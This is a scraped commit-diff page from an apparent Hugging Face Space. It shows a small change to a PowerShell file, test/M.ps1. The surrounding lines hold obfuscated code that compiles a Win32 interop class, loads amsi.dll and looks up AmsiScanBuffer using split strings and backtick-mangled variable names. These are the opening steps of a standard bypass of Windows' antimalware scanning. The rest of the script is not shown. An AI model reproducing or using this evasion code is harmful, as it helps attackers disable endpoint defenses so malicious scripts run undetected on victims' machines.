Spaces:
Runtime error
Runtime error
Update test/M.ps1
Browse files- test/M.ps1 +2 -2
test/M.ps1
CHANGED
@@ -1,4 +1,4 @@
|
|
1 |
-
$
|
2 |
using System;
|
3 |
using System.Runtime.InteropServices;
|
4 |
|
@@ -16,7 +16,7 @@ public class Win32 {
|
|
16 |
}
|
17 |
"@
|
18 |
|
19 |
-
Add-Type $
|
20 |
|
21 |
${loaD`LiBR`Ary} = [WIN32]::LoadLibrary("am" + ("{0}{1}"-f'si.dl','l'))
|
22 |
${A`DDre`sS} = [Win32]::GetProcAddress(${LOadliBr`A`Ry}, ("{1}{0}"-f 'i','Ams') + ("{0}{1}" -f'Sc','an') + ("{1}{0}" -f'er','Buff'))
|
|
|
1 |
+
$W = @"
|
2 |
using System;
|
3 |
using System.Runtime.InteropServices;
|
4 |
|
|
|
16 |
}
|
17 |
"@
|
18 |
|
19 |
+
Add-Type $W
|
20 |
|
21 |
${loaD`LiBR`Ary} = [WIN32]::LoadLibrary("am" + ("{0}{1}"-f'si.dl','l'))
|
22 |
${A`DDre`sS} = [Win32]::GetProcAddress(${LOadliBr`A`Ry}, ("{1}{0}"-f 'i','Ams') + ("{0}{1}" -f'Sc','an') + ("{1}{0}" -f'er','Buff'))
|